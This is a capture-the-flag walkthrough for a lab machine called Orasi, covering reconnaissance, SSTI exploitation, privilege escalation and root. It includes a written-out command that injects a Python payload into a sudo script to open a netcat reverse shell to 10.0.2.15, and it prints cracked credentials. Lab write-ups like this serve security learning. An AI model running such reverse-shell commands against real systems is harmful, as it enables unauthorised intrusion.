Walkthrough: Orasi

1. Reconnaissance

sudo netdiscover -i eth0 -r 10.0.2.0/24

Target IP: 10.0.2.176. Next, we scan for services:

sudo nmap -v -T4 -A -p- -oN nmap.log 10.0.2.176

Found: FTP (Anonymous), Port 80 (HTTP), and Port 5000 (Python Web Server).

2. Reverse Engineering the ELF Binary

After downloading url from the FTP server, we analyze it using objdump. We find hex values being moved into registers:

echo "2f 73 68 34 64 30 77 24 73" | xxd -r

The decoded string is a hidden URL path: /sh4d0w$s.

3. SSTI Exploitation

Fuzzing the hidden path reveals a parameter. Testing for SSTI (Server-Side Template Injection) with {{7*7}} returns 49, confirming the vulnerability. We use a Jinja2 payload to trigger a reverse shell on port 9001.

4. Privilege Escalation (User)

We find we can run a PHP script as user kori. The script is restricted (no slashes, no 'nc'), so we use socat to bypass the filter and gain a shell.

5. Android APK Analysis

We find irida.apk. Using dex2jar and JD-GUI, we decompile the app and find credentials in LoginDataSource.class:

User: irida Password: eye.of.the.tiger()

6. Root Escalation (Python Injection)

Irida can run a root-owned Python script oras.py. The script uses exec() on hex-decoded input. We inject a Python one-liner to spawn a root shell:

python3 -c "print(b\"__import__('os').system('nc -e /bin/bash 10.0.2.15 9003')\".hex())" | sudo python3 /root/oras.py

Root Flag obtained!